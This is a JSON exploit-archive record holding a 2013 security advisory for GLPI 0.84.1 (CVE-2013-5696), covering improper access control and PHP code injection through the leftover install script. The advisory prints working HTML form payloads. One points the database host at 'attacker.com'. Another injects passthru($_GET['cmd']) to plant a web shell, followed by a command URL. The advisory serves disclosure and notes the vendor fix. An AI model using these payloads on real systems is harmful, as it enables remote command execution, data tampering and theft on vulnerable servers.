{"exploit":{"id":"EDB-28685","name":"GLPI 0.84.1 - Improper Access Control / PHP Code Injection","description":"GLPI 0.84.1 - Improper Access Control / PHP Code Injection","cves":["CVE-2013-5696"],"author":"High-Tech Bridge SA","published":"2013-10-02","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/28685","path":"exploits/php/webapps/28685.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-28685.txt","vulnerabilities":[{"id":"CVE-2013-5696","state":"PUBLISHED","title":null,"titleSource":null,"description":"inc/central.class.php in GLPI before 0.84.2 does not attempt to make install/install.php unavailable after an installation is completed, which allows remote attackers to conduct cross-site request forgery (CSRF) attacks, and (1) perform a SQL injection via an Etape_4 action or (2) execute arbitrary PHP code via an update_1 action.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2013-5696","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2013-5696"},"updatedAt":"2024-09-16T16:17:31.120Z","retrievedAt":"2026-11-27T05:10:20.163Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-28685.png?v=2","url":"https://exploitbin.com/exploits/EDB-28685","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-28685/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-28685/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"Advisory ID: HTB23173\nProduct: GLPI\nVendor: INDEPNET\nVulnerable Version(s): 0.84.1 and probably prior\nTested Version: 0.84.1\nAdvisory Publication: September 11, 2013 [without technical details]\nVendor Notification: September 11, 2013\nVendor Patch: September 12, 2013\nPublic Disclosure: October 2, 2013\nVulnerability Type: Improper Access Control [CWE-284],Code Injection [CWE-94]\nCVE Reference: CVE-2013-5696\nRisk Level: Critical\nCVSSv2 Base Scores: 6.4 (AV:N/AC:L/Au:N/C:N/I:P/A:P), 10 (AV:N/AC:L/Au:N/C:C/I:C/A:C)\nSolution Status: Fixed by Vendor\nDiscovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )\n\n------------------------------------------------------------------------\n-----------------------\n\nAdvisory Details:\n\nHigh-Tech Bridge Security Research Lab discovered multiple vulnerabilities in GLPI, which can be exploited to bypass security restrictions and execute arbitrary PHP code with privileges of web server.\n\n1) Improper Access Control in GLPI\n\nThe vulnerability exists due to insufficient access restrictions to the installation script \"/install/install.php\", which is present by default after application installation. A remote attacker can change applicationâ??s configuration, such as database host, forcing the application to connect to an external database and spoof information on the website, obtain access to sensitive information or simply cause a denial of service.\n\nSimple exploit below changes the database hostname to \"attacker.com\", which forces the application to connect to a malicious database controlled by the attacker:\n\n<form action=\"http://[host]/install/install.php\" method=\"post\" name=\"main\">\n<input type=\"hidden\" name=\"install\" value=\"update_1\">\n<input type=\"hidden\" name=\"db_host\" value=\"attacker.com\">\n<input type=\"submit\" id=\"btn\">\n</form>\n\n2) Arbitrary PHP Code Injection in GLPI\n\nThe vulnerability exists due to insufficient validation of user-supplied input passed to the \"db_host\", \"db_user\", \"db_pass\", and \"databasename\" HTTP POST parameters via \"/install/install.php\" script [that is present by default after application installation] before writing data into \"/config_db.php\" file. A remote attacker can inject and execute arbitrary PHP code on the vulnerable system.\n\nSimple exploit below injects \"passthru($_GET['cmd'])\" PHP code into \"config_db.php\" file allowing a remote attacker to execute arbitrary system command with privileges of the web server:\n\n<form action=\"http://[host]/install/install.php\" method=\"post\" name=\"main\">\n<input type=\"hidden\" name=\"install\" value=\"update_1\">\n<input type=\"hidden\" name=\"db_host\" value=\"'; } passthru($_GET['cmd']); /*\">\n<input type=\"submit\" id=\"btn\">\n</form>\n\nAfter that attacker can access the web shell to execute system commands via the following URL:\nhttp://[host]/index.php?cmd=ls -la; id; pwd;\n\n------------------------------------------------------------------------\n-----------------------\n\nSolution:\n\nUpdate to GLPI 0.84.2\n\nMore Information:\nhttp://www.glpi-project.org/spip.php?page=annonce&id_breve=307&lang=fr\nhttps://forge.indepnet.net/issues/4480\n\n------------------------------------------------------------------------\n-----------------------\n\nReferences:\n\n[1] High-Tech Bridge Advisory HTB23173 - https://www.htbridge.com/advisory/HTB23173 - Multiple Vulnerabilities in GLPI.\n[2] GLPI - http://www.glpi-project.org - GLPI is the Information Resource-Manager with an additional Administration-Interface.\n[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVEÂ® is a dictionary of publicly known information security vulnerabilities and exposures.\n[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.\n[5] ImmuniWebÂ® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.\n\n------------------------------------------------------------------------\n-----------------------\n\nDisclaimer: The information provided in this Advisory is provided \"as is\" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.","sha256":"224820f1518a6d159b1b1442a3fcb131abc39e3eae955094f5aa38ab9aa4d793","bytes":4451,"fetchedAt":"2026-11-27T05:10:18.540Z","encoding":"utf-8 (display only; download retains original bytes)"}